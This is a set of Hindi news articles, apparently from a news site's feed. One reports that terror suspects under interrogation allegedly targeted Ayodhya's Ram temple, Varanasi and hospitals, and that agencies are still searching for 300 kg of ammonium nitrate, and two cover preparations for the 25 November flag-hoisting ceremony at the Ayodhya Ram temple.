अलग-अलग जगहों से गिरफ्तार आतंकियों से पूछताछ में बड़ा खुलासा हुआ है. प्राप्त जानकारी के मुताबिक अयोध्या का राम मंदिर और वाराणसी आतंकियों के निशाने पर था, जिसके लिए उन्होंने मॉड्यूल तैयार कर रखा था. अयोध्या में भी आतंकी विस्फोट करना चाहते थे. इसके लिए गिरफ्तार हो चुकी शाहीन ने अयोध्या के स्लीपर मॉड्यूल को एक्टिवेट कर रखा था. अयोध्या में ये सारे घटनाक्रम को अंजाम तक पंहुचाते उससे पहले ही इन आतंकियों की गिरफ्तारी और विस्फोटक बरामद हो गए. सूत्र बताते हैं की दरअसल, लाल किला में ब्लास्ट करने की योजना नहीं थी. ऐसा अभी तक जांच में लग रहा है. क्योंकि विस्फोटक में टाइमर या किसी दूसरी चीज़ो का इस्तेमाल नहीं किया गया. हड़बड़ी और जल्दबाज़ी में ब्लास्ट हो गया.

अस्पताल और भीड़भाड़ वाली जगहें निशाने पर थीं
आतंकियों से पूछताछ में पता चला है की ये मॉड्यूल अस्पतालो को टारगेट करना चाहता था ताकि ज्यादा से ज्यादा लोगों को नुकसान हो. इन आतंकियों के हिट लिस्ट में अस्पताल और भीड़ भाड़ वाली जगह थी. लगातार छापेमारी के बाद भारी मात्रा में विस्फोटक व हथियार बरामद करने के बाद सुरक्षा एजेंसीज के सामने इस वक़्त सबसे बड़ी चुनौती है बचे हुए 300 किलोग्राम के अमोनियम नाइट्रेट को बरामद करना. जिसका अभी तक पता नहीं चल पाया है. सूत्रों की माने तो 2900 किलोग्राम विस्फोटक अबतक एजेंसी बरामद कर चुकी है.

300KG अमोनियम नाइट्रेट की खोज जारी
अलग-अलग जरियों से आया 300 किलोग्राम अमोनियम नाइट्रेट अभी भी आतंकियों ने कहीं छिपा रखा है, जिसके लिए देश के कई हिस्सों में छापेमारी चल रही है. जांच और सुरक्षा एजेंसियां लगातार छापेमारी कर पूरे मॉड्यूल का खुलासा करने की कोशिश कर रही है. प्राप्त जानकारी के मुताबिक गिरफ्तार आतंकियों तक ये विस्फोटक बांग्लादेश के रास्ते नेपाल और फिर हिन्दुस्ततान आया था. किसी फर्टीलाइजर से उक्त अमोनियम नाइट्रेट को चोरी से हासिल किया गया है. आतंकियों द्वारा कुल 3200 किलोग्राम की खेप आई है.

 

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अयोध्या में ध्वजारोहण समारोह की तैयारियाँ तेज, पीएम मोदी होंगे साक्षी, 5000 कमरों और टेंट सिटी का इंतजाम https://pratyushaashakinayikiran.com/?p=190592 Mon, 10 Nov 2025 15:39:00 +0000 https://pratyushaashakinayikiran.com/?p=190592 अयोध्या 
 भगवान श्रीराम की नगरी अयोध्या एक बार फिर भव्य आयोजन की साक्षी बनने जा रही है. 25 नवंबर को होने वाले राम मंदिर के ध्वजारोहण कार्यक्रम की तैयारियां अंतिम चरण में पहुंच गई हैं. श्रीराम जन्मभूमि तीर्थ क्षेत्र ट्रस्ट इस ऐतिहासिक क्षण को यादगार बनाने के लिए व्यापक स्तर पर व्यवस्था कर रहा है. 5 दिवसीय धार्मिक अनुष्ठान के साथ यह आयोजन प्रधानमंत्री नरेंद्र मोदी और आरएसएस प्रमुख मोहन भागवत की उपस्थिति में संपन्न होगा.

इस ऐतिहासिक कार्यक्रम में देशभर से आने वाले श्रद्धालुओं और अतिथियों के लिए विशेष इंतजाम किए गए हैं. ट्रस्ट की ओर से अब तक 6000 से अधिक लोगों को निमंत्रण पत्र भेजे जा चुके हैं. इन अतिथियों के ठहरने और भोजन की व्यवस्था के लिए शहर में लगभग 5000 से ज्यादा कमरे तैयार किए गए हैं. इनमें से 1600 कमरे राम मंदिर ट्रस्ट ने विशेष रूप से बुक किए हैं, ताकि मेहमानों को किसी प्रकार की असुविधा न हो. इसके साथ ही तीर्थ क्षेत्र पुरम में एक भव्य टेंट सिटी बनाई जा रही है, जहां करीब ढाई हजार लोगों के ठहरने की उच्च स्तरीय व्यवस्था होगी.

6 अलग-अलग स्थानों पर भोजन व्यवस्था
कार्यक्रम के दिन 6 अलग-अलग स्थानों पर भोजन व्यवस्था की गई है. हर अतिथि को सुव्यवस्थित ढंग से नाश्ता, भोजन और प्रसाद उपलब्ध कराया जाएगा. इसके अलावा, अयोध्या में बढ़ती आवाजाही को ध्यान में रखते हुए यातायात और पार्किंग की विशेष योजना भी तैयार की गई है. शहर के मुख्य मार्गों पर ट्रैफिक डायवर्जन लागू होगा ताकि कोई जाम या असुविधा न हो.

मंदिर ट्रस्ट ने की अतिथियों से ये अपील
राम मंदिर ट्रस्ट ने सभी आमंत्रित अतिथियों से आग्रह किया है कि वे 24 नवंबर की शाम तक अयोध्या पहुंच जाएं, जिससे अगले दिन के मुख्य कार्यक्रम में उन्हें कोई दिक्कत न हो. अतिथियों का प्रवेश मंदिर के मुख्य दर्शन मार्ग से कराया जाएगा और उनके बैठने की व्यवस्था मंदिर परिसर के परकोटे के कोर्टयार्ड में की जाएगी. ट्रस्ट के सदस्य डॉ. अनिल मिश्रा ने बताया कि ध्वजारोहण कार्यक्रम अयोध्या के इतिहास में एक नया अध्याय जोड़ने जा रहा है. पूरी अयोध्या को इस अवसर पर सजाया-संवारा जा रहा है, और पूरे देश की निगाहें 25 नवंबर के इस ऐतिहासिक क्षण पर टिकी हुई हैं.

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श्रीराम मंदिर ध्वजारोहण से पहले अयोध्या में होटल्स हाउसफुल, 24 नवंबर को देशभर से भक्तों का सैलाब https://pratyushaashakinayikiran.com/?p=189970 Sat, 08 Nov 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=189970  अयोध्या

उत्तर प्रदेश के अयोध्या में भगवान श्रीराम की पावन नगरी इन दिनों भक्ति, श्रद्धा और उल्लास के रंग में पूरी तरह रंगी हुई है. श्रीराम मंदिर के शिखर पर होने वाले ऐतिहासिक ध्वजारोहण समारोह ने पूरे शहर को एक भव्य उत्सव स्थल में बदल दिया है. इस आयोजन को लेकर अयोध्या में देशभर से श्रद्धालुओं, संतों और विशिष्ट अतिथियों का आगमन लगातार जारी है, जिसके कारण शहर के सभी होटल, गेस्ट हाउस, धर्मशालाएं और होमस्टे पूरी तरह हाउसफुल हो चुके हैं.

20 नवंबर से 30 नवंबर तक एक भी कमरा खाली नहीं

स्थानीय होटल संचालकों के अनुसार, 20 नवंबर से 30 नवंबर तक अयोध्या में एक भी कमरा खाली नहीं है. चाहे दो या तीन सितारा होटल हों या लग्जरी होम स्टे हर जगह ‘हाउसफुल’ का बोर्ड टंगा हुआ है. यहां तक कि मंदिर क्षेत्र से दूर के इलाकों में भी कमरे महीनों पहले बुक हो चुके हैं.

राम मंदिर का गेट नंबर 11, जिसे विशेष रूप से वीवीआईपी प्रवेश द्वार के रूप में तैयार किया गया है और आकर्षण का केंद्र बना हुआ है. गुलाबी पत्थरों से सजे इस द्वार को दीपोत्सव के दौरान 'आदि शंकराचार्य द्वार' नाम दिया गया था. इसी मार्ग से प्रधानमंत्री नरेंद्र मोदी सहित देश-विदेश के विशिष्ट अतिथि मंदिर में प्रवेश करेंगे.

24 नवंबर को होगा विशेष कार्यक्रम

कारीगर दिन-रात इस द्वार को सजाने-संवारने में लगे हुए हैं क्योंकि अब बस 18 दिन शेष हैं उस ऐतिहासिक क्षण के लिए जब भगवान श्रीराम मंदिर के शिखर पर भगवा ध्वज फहराया जाएगा. श्रीराम जन्मभूमि तीर्थ क्षेत्र ट्रस्ट के महासचिव चंपत राय ने बताया कि सभी विशेष अतिथियों के ठहरने की व्यवस्थाएं पहले से तय कर दी गई हैं. सभी को होटल, गेस्ट हाउस, होम स्टे और आश्रमों में व्यवस्थित रूप से ठहराया जाएगा.

उन्होंने यह भी कहा कि 24 नवंबर को पूर्वी उत्तर प्रदेश के श्रद्धालुओं के लिए विशेष व्यवस्था की गई है. इसके अलावा किसी अन्य क्षेत्र के लोगों को उस दिन आने से बचने की अपील की गई है, ताकि भीड़ पर नियंत्रण रखा जा सके.

अयोध्या प्रशासन ने श्रद्धालुओं से अपील की है कि अगर वो 24 या 25 नवंबर को आने की योजना बना रहे हैं, तो पहले बुकिंग और ट्रैफिक व्यवस्था की जानकारी अवश्य ले लें, क्योंकि उस दौरान अयोध्या में प्रवेश भी सीमित रहेगा.

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